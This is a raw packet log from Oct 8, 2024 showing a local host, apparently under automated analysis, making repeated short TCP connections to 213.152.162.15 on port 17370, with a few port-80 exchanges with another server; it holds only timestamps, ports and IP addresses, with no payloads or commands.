Oct 8, 2024 02:41:59.563481092 CEST	17370	64454	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:59.563574076 CEST	64454	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:59.563728094 CEST	64454	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:59.568522930 CEST	17370	64454	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:59.677357912 CEST	64455	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:59.682638884 CEST	17370	64455	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:59.682862043 CEST	64455	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:59.720752954 CEST	64455	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:59.725656033 CEST	17370	64455	213.152.162.15	192.168.2.4
Oct 8, 2024 02:41:59.725838900 CEST	64455	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:41:59.730741978 CEST	17370	64455	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:02.083044052 CEST	64455	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:02.088450909 CEST	17370	64455	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:02.088699102 CEST	64455	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:02.093554020 CEST	17370	64455	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:02.748333931 CEST	17370	64455	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:02.748537064 CEST	64455	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:02.748537064 CEST	64455	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:02.753454924 CEST	17370	64455	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:02.865147114 CEST	64456	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:02.870486021 CEST	17370	64456	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:02.870584011 CEST	64456	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:02.911173105 CEST	64456	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:02.916140079 CEST	17370	64456	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:02.916198015 CEST	64456	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:02.921200991 CEST	17370	64456	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:03.622468948 CEST	17370	64456	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:03.622575998 CEST	64456	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:03.622700930 CEST	64456	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:03.628159046 CEST	17370	64456	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:03.740556002 CEST	64457	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:03.746947050 CEST	17370	64457	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:03.747124910 CEST	64457	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:03.781379938 CEST	64457	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:03.786437988 CEST	17370	64457	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:03.786612034 CEST	64457	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:03.791762114 CEST	17370	64457	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:04.467258930 CEST	17370	64457	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:04.467797041 CEST	64457	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:04.467797041 CEST	64457	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:04.472771883 CEST	17370	64457	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:04.583698988 CEST	64458	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:04.588901997 CEST	17370	64458	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:04.589103937 CEST	64458	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:04.638669968 CEST	64458	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:04.643681049 CEST	17370	64458	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:04.647811890 CEST	64458	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:04.652755976 CEST	17370	64458	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:05.319456100 CEST	17370	64458	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:05.319691896 CEST	64458	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:05.319693089 CEST	64458	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:05.324698925 CEST	17370	64458	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:05.427268982 CEST	64459	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:05.432327032 CEST	17370	64459	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:05.432399035 CEST	64459	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:05.463426113 CEST	64459	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:05.468523026 CEST	17370	64459	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:05.468595982 CEST	64459	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:05.473541021 CEST	17370	64459	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:06.124068022 CEST	17370	64459	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:06.124144077 CEST	64459	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:06.124268055 CEST	64459	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:06.129034042 CEST	17370	64459	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:06.239763975 CEST	64460	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:06.244926929 CEST	17370	64460	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:06.245007992 CEST	64460	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:06.272149086 CEST	64460	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:06.277188063 CEST	17370	64460	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:06.277256012 CEST	64460	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:06.282160044 CEST	17370	64460	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:06.945332050 CEST	17370	64460	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:06.945439100 CEST	64460	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:06.945616007 CEST	64460	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:06.950439930 CEST	17370	64460	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:07.052288055 CEST	64461	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:07.057300091 CEST	17370	64461	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:07.057499886 CEST	64461	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:07.230174065 CEST	64461	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:07.235101938 CEST	17370	64461	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:07.235189915 CEST	64461	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:07.239988089 CEST	17370	64461	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:07.756520987 CEST	17370	64461	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:07.756640911 CEST	64461	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:07.756846905 CEST	64461	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:07.761682034 CEST	17370	64461	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:07.864789009 CEST	64462	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:07.869831085 CEST	17370	64462	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:07.869929075 CEST	64462	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:07.889508009 CEST	64462	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:07.894458055 CEST	17370	64462	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:07.894529104 CEST	64462	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:07.899349928 CEST	17370	64462	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:08.758640051 CEST	17370	64462	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:08.758692026 CEST	64462	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:08.758799076 CEST	64462	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:08.763586998 CEST	17370	64462	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:08.864826918 CEST	64463	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:08.872436047 CEST	17370	64463	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:08.872522116 CEST	64463	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:08.894623995 CEST	64463	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:08.902055025 CEST	17370	64463	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:08.902110100 CEST	64463	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:08.909558058 CEST	17370	64463	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:09.023226976 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:42:09.114681005 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:42:09.559180975 CEST	17370	64463	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:09.559263945 CEST	64463	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:09.559437037 CEST	64463	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:09.564352036 CEST	17370	64463	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:09.677376986 CEST	64464	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:09.682531118 CEST	17370	64464	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:09.682610989 CEST	64464	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:09.704797029 CEST	64464	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:09.709717989 CEST	17370	64464	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:09.709778070 CEST	64464	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:09.714720964 CEST	17370	64464	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:10.371831894 CEST	17370	64464	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:10.374495029 CEST	64464	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:10.374612093 CEST	64464	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:10.379578114 CEST	17370	64464	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:10.489859104 CEST	64465	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:10.494887114 CEST	17370	64465	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:10.495953083 CEST	64465	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:10.527209044 CEST	64465	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:10.532144070 CEST	17370	64465	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:10.535831928 CEST	64465	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:10.540777922 CEST	17370	64465	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:12.000250101 CEST	17370	64465	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:12.000580072 CEST	64465	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:12.000580072 CEST	64465	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:12.005856991 CEST	17370	64465	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:12.114864111 CEST	64466	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:12.119966030 CEST	17370	64466	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:12.120047092 CEST	64466	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:12.158123970 CEST	64466	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:12.163381100 CEST	17370	64466	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:12.163458109 CEST	64466	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:12.168728113 CEST	17370	64466	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:12.832178116 CEST	17370	64466	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:12.832266092 CEST	64466	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:12.832380056 CEST	64466	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:12.837197065 CEST	17370	64466	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:12.942946911 CEST	64467	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:12.948127031 CEST	17370	64467	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:12.948201895 CEST	64467	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:12.977581978 CEST	64467	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:12.982568979 CEST	17370	64467	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:12.982635975 CEST	64467	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:12.987535000 CEST	17370	64467	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:13.664783001 CEST	17370	64467	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:13.664858103 CEST	64467	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:13.664984941 CEST	64467	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:13.669789076 CEST	17370	64467	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:13.771063089 CEST	64468	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:13.776541948 CEST	17370	64468	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:13.776644945 CEST	64468	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:13.802583933 CEST	64468	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:13.807718039 CEST	17370	64468	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:13.807828903 CEST	64468	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:13.812855959 CEST	17370	64468	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:14.478925943 CEST	17370	64468	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:14.479001999 CEST	64468	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:14.479074001 CEST	64468	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:14.483979940 CEST	17370	64468	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:14.583673954 CEST	64469	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:14.588849068 CEST	17370	64469	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:14.589093924 CEST	64469	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:14.624053955 CEST	64469	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:14.629137993 CEST	17370	64469	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:14.629358053 CEST	64469	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:14.634330034 CEST	17370	64469	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:15.282740116 CEST	17370	64469	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:15.282915115 CEST	64469	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:15.282967091 CEST	64469	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:15.287904024 CEST	17370	64469	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:15.396282911 CEST	64470	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:15.401446104 CEST	17370	64470	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:15.401540995 CEST	64470	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:15.431849957 CEST	64470	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:15.437154055 CEST	17370	64470	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:15.437357903 CEST	64470	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:15.442275047 CEST	17370	64470	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:16.126401901 CEST	17370	64470	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:16.126657009 CEST	64470	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:16.126657963 CEST	64470	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:16.132623911 CEST	17370	64470	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:16.239869118 CEST	64471	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:17.289649010 CEST	17370	64471	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:17.289855003 CEST	64471	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:17.403670073 CEST	64471	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:17.408811092 CEST	17370	64471	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:17.408894062 CEST	64471	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:17.413805962 CEST	17370	64471	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:18.007018089 CEST	17370	64471	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:18.007133007 CEST	64471	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:18.007276058 CEST	64471	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:18.012171030 CEST	17370	64471	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:18.114859104 CEST	64472	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:18.120256901 CEST	17370	64472	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:18.120424986 CEST	64472	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:18.139621019 CEST	64472	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:18.144711971 CEST	17370	64472	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:18.144783974 CEST	64472	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:18.149758101 CEST	17370	64472	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:19.993432045 CEST	17370	64472	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:19.993577957 CEST	64472	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:19.993626118 CEST	17370	64472	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:19.993669033 CEST	17370	64472	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:19.993675947 CEST	64472	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:19.993715048 CEST	64472	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:19.993715048 CEST	64472	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:19.993731976 CEST	17370	64472	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:19.993777990 CEST	64472	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:19.998614073 CEST	17370	64472	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:20.100339890 CEST	64473	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:20.105513096 CEST	17370	64473	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:20.105654001 CEST	64473	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:20.171844006 CEST	64473	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:20.176920891 CEST	17370	64473	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:20.176995039 CEST	64473	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:20.181978941 CEST	17370	64473	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:20.799189091 CEST	17370	64473	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:20.799272060 CEST	64473	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:20.799429893 CEST	64473	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:20.804267883 CEST	17370	64473	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:20.911819935 CEST	64474	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:20.918135881 CEST	17370	64474	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:20.918215036 CEST	64474	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:20.988537073 CEST	64474	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:20.993525982 CEST	17370	64474	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:20.993583918 CEST	64474	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:20.998518944 CEST	17370	64474	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:21.546356916 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:42:21.606863976 CEST	17370	64474	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:21.606937885 CEST	64474	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:21.607057095 CEST	64474	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:21.613353968 CEST	17370	64474	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:21.614753962 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:42:21.724309921 CEST	64475	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:21.731848955 CEST	17370	64475	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:21.731925964 CEST	64475	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:21.753273964 CEST	64475	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:21.758374929 CEST	17370	64475	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:21.758470058 CEST	64475	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:21.763348103 CEST	17370	64475	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:22.435655117 CEST	17370	64475	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:22.435729027 CEST	64475	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:22.435856104 CEST	64475	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:22.440726995 CEST	17370	64475	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:22.552561045 CEST	64476	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:22.557672024 CEST	17370	64476	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:22.557771921 CEST	64476	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:22.587291002 CEST	64476	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:22.593348026 CEST	17370	64476	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:22.593431950 CEST	64476	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:22.608166933 CEST	17370	64476	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:23.253637075 CEST	17370	64476	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:23.253846884 CEST	64476	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:23.253848076 CEST	64476	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:23.258935928 CEST	17370	64476	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:23.364993095 CEST	64477	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:23.370090008 CEST	17370	64477	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:23.370184898 CEST	64477	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:23.420458078 CEST	64477	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:23.425684929 CEST	17370	64477	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:23.425765991 CEST	64477	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:23.430700064 CEST	17370	64477	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:24.152107000 CEST	17370	64477	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:24.152205944 CEST	64477	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:24.152299881 CEST	64477	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:24.157331944 CEST	17370	64477	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:24.255536079 CEST	64478	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:24.261559010 CEST	17370	64478	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:24.261650085 CEST	64478	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:24.291285992 CEST	64478	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:24.296323061 CEST	17370	64478	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:24.296410084 CEST	64478	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:24.301312923 CEST	17370	64478	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:24.960864067 CEST	17370	64478	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:24.961016893 CEST	64478	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:24.961968899 CEST	64478	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:24.966876030 CEST	17370	64478	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:25.083780050 CEST	64479	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:25.088777065 CEST	17370	64479	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:25.088850021 CEST	64479	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:25.211041927 CEST	64479	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:25.216022968 CEST	17370	64479	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:25.216120005 CEST	64479	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:25.221112967 CEST	17370	64479	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:25.720179081 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:42:25.725233078 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:42:25.799669027 CEST	17370	64479	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:25.799760103 CEST	64479	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:25.799953938 CEST	64479	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:25.805439949 CEST	17370	64479	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:25.817863941 CEST	80	64012	51.222.111.116	192.168.2.4
Oct 8, 2024 02:42:25.911556005 CEST	64012	80	192.168.2.4	51.222.111.116
Oct 8, 2024 02:42:25.911844015 CEST	64480	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:25.916722059 CEST	17370	64480	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:25.916884899 CEST	64480	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:25.951056004 CEST	64480	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:25.956866980 CEST	17370	64480	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:25.956950903 CEST	64480	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:25.961963892 CEST	17370	64480	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:26.793059111 CEST	17370	64480	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:26.793312073 CEST	64480	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:26.793401003 CEST	64480	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:26.798305035 CEST	17370	64480	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:26.911761999 CEST	64481	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:26.917026997 CEST	17370	64481	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:26.917159081 CEST	64481	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:26.951267004 CEST	64481	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:26.957787037 CEST	17370	64481	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:26.957884073 CEST	64481	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:26.963479042 CEST	17370	64481	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:27.623512030 CEST	17370	64481	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:27.623698950 CEST	64481	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:27.628933907 CEST	64481	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:27.633934021 CEST	17370	64481	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:27.771538973 CEST	64482	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:27.776659012 CEST	17370	64482	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:27.776784897 CEST	64482	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:27.915828943 CEST	64482	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:27.920905113 CEST	17370	64482	213.152.162.15	192.168.2.4
Oct 8, 2024 02:42:27.921010017 CEST	64482	17370	192.168.2.4	213.152.162.15
Oct 8, 2024 02:42:27.925935984 CEST	17370	64482	213.152.162.15	192.168.2.4
